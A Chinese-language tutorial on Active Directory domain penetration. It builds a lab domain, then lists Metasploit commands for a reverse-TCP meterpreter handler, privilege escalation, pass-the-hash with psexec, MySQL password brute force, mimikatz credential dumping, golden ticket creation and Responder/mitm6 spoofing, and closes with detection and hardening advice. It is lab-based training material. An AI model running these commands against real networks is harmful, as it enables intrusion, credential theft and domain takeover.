1. 域渗透基础概念解析
在企业网络环境中,域(Domain)是一个具有明确安全边界的计算机集合。这种安全边界意味着,不同域之间的用户默认无法互相访问资源。与工作组模式相比,域模式更适合大型网络环境的管理需求。
1.1 域的核心组件
域控制器(Domain Controller, DC) 是域环境中的核心管理节点,可以类比为一个单位的门禁系统。它负责对所有接入的计算机和用户进行身份验证。域内任何资源的访问请求都需要经过域控制器的审核。
活动目录(Active Directory, AD) 是域环境中提供目录服务的核心组件。它本质上是一个层次化的数据库,存储着网络中的各种对象信息:
- 用户账户和计算机账户
- 用户组和组织单位
- 共享资源和打印机
- 联系人信息等
提示:当一台计算机安装了AD服务后,它就自动升级为域控制器。AD数据库的实际存储位置是在域控制器上。
1.2 域内成员分类
典型的域环境包含以下四种角色:
| 角色类型 | 特征 | 功能权限 |
|---|---|---|
| 域控制器 | 安装AD服务 | 存储所有账户和策略信息,管理网络访问 |
| 成员服务器 | 加入域但未安装AD | 提供网络资源共享服务 |
| 客户机 | 域内普通计算机 | 使用域账户登录并访问资源 |
| 独立服务器 | 未加入域 | 仅能创建工作组,无法使用AD服务 |
1.3 安全域划分原理
安全域划分的目的是将安全等级相同的设备归入同一网络段。通过防火墙在不同安全域之间实施访问控制策略(NACL)。典型的中小型企业网络通常划分为:
- DMZ区(对外服务区)
- 内网区(核心业务区)
- 管理区(运维管理区)
这种划分方式通过在防火墙不同端口配置差异化的访问策略,实现网络流量的精细控制。
2. 域环境搭建实战
2.1 实验环境准备
本次实验使用三台Windows Server虚拟机:
- Win Server 2008-1(作为域控制器)
- Win Server 2008-2(成员服务器)
- Win Server 2003(成员服务器)
网络配置要点:
- 所有虚拟机使用LAN网段(10.10.10.0/24)
- 域控制器IP设为10.10.10.2
- 成员服务器DNS指向域控制器IP
2.2 创建域控制器
在Win Server 2008-1上执行以下操作:
- 运行
dcpromo命令启动AD安装向导 - 设置林根域为ocean.com
- 指定NetBIOS名为OCEAN0
- 完成安装后重启服务器
关键验证步骤:
powershell复制# 检查AD服务是否正常运行
Get-Service ADWS
# 验证域控制器角色
Get-ADDomainController
2.3 组织单位与用户创建
在AD用户和计算机管理控制台中:
- 新建组织单位"oceantest"
- 创建两个域用户:
- server2003(用于Win Server 2003登录)
- server20082(用于Win Server 2008-2登录)
- 设置符合复杂度要求的密码
注意:建议使用组策略统一配置密码策略,包括最小长度、复杂度要求和有效期等。
2.4 成员服务器加域
以Win Server 2008-2为例:
- 右击"计算机"选择属性
- 点击"更改设置"→"更改"
- 选择"域"并输入ocean.com
- 使用具有加域权限的账户认证
- 重启完成加域过程
验证方法:
powershell复制# 检查计算机是否已加入域
systeminfo | findstr /B /C:"Domain"
# 测试域用户登录
Test-ComputerSecureChannel -Repair
3. 域渗透技术详解
3.1 初始入侵向量
实验环境中假设已通过MSF获取Win Server 2008-2的控制权:
bash复制use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
成功获取meterpreter会话后,首要任务是提权:
bash复制getuid
getprivs
getsystem
3.2 内网信息收集技术
网络拓扑探测
bash复制# 查看网卡信息
ifconfig
# 添加路由
run autoroute -s 10.10.10.0/24
# 扫描存活主机
run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24
关键信息提取
powershell复制# 获取域信息
nltest /domain_trusts
# 查询域控制器
nslookup -type=SRV _ldap._tcp.dc._msdcs.ocean.com
# 枚举域用户
net user /domain
3.3 横向移动技术
哈希传递攻击(PTH)
bash复制# 获取哈希
hashdump
# 使用psexec模块横向移动
use exploit/windows/smb/psexec
set RHOST 10.10.10.4
set SMBUser Administrator
set SMBPass <NTLM哈希>
exploit
MySQL漏洞利用
针对开放3306端口的服务器:
bash复制use auxiliary/scanner/mysql/mysql_login
set rhosts 10.10.10.4
set username root
set pass_file /path/to/wordlist.txt
exploit
# 发现弱口令后提权
use exploit/windows/mysql/mysql_mof
set RHOST 10.10.10.4
set USERNAME root
set PASSWORD 123456
exploit
3.4 域控攻防实战
权限提升与维持
bash复制# 加载mimikatz模块
load kiwi
# 获取明文凭证
creds_all
# 黄金票据攻击
golden_ticket_create -u Administrator -d ocean.com -s S-1-5-21-... -k <krbtgt哈希>
域控制器入侵
bash复制use exploit/windows/smb/psexec
set RHOST 10.10.10.2
set SMBDomain OCEAN0
set SMBUser administrator
set SMBPass Ocean@123
exploit
成功获取域控制器权限后,可实现:
- 全域策略修改
- 用户账户控制
- 日志清除等操作
4. 防御与检测方案
4.1 攻击特征检测
常见域渗透行为的检测指标:
| 攻击行为 | 检测特征 | 防御措施 |
|---|---|---|
| 异常登录 | 非工作时间登录、多主机同一账户登录 | 启用登录时间限制 |
| 哈希传递 | NTLM认证日志中的异常事件ID 4624 | 启用受限管理模式 |
| DC同步 | 事件ID 4662的异常复制请求 | 限制DCSync权限 |
4.2 安全加固建议
-
账户安全
- 启用LSA保护
- 限制域管理员登录范围
- 实施双因素认证
-
网络防护
- 启用SMB签名
- 配置Windows防火墙高级规则
- 实施网络分段隔离
-
监控体系
powershell复制# 启用详细审计策略 auditpol /set /category:"Account Logon","Logon/Logoff" /success:enable /failure:enable # 配置SIEM收集关键事件
4.3 应急响应流程
当发现域渗透迹象时:
- 立即隔离受影响系统
- 重置所有域管理员密码
- 检查并修复组策略对象
- 分析攻击时间线
- 更新漏洞补丁
5. 进阶技术探讨
5.1 无凭证攻击技术
利用IPv6和LLMNR/NBT-NS欺骗:
bash复制responder -I eth0 -wFb
# 结合mitm6进行DNS劫持
mitm6 -d ocean.com
5.2 防御规避技巧
高级攻击者常用的隐蔽技术:
- 基于时间的命令执行
- 内存驻留无文件攻击
- 合法工具滥用(Living-off-the-land)
对应的检测方法:
powershell复制# 查找异常计划任务
Get-ScheduledTask | Where-Object { $_.Actions[0].Execute -match "powershell" }
# 检查WMI事件订阅
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
5.3 红队作战框架
完整的域渗透作战流程:
- 外部侦查 → 2. 初始入侵 → 3. 权限提升 → 4. 横向移动 → 5. 目标达成 → 6. 痕迹清理
每个阶段对应的工具链:
mermaid复制graph TD
A[侦察] -->|Photon/Sublist3r| B[漏洞利用]
B -->|Metasploit/CobaltStrike| C[后渗透]
C -->|Mimikatz/BloodHound| D[横向移动]
D -->|PsExec/WMI| E[目标控制]
在实际攻防演练中,红队需要根据防守方的检测能力动态调整战术,蓝队则应建立多层防御体系,实现纵深防御。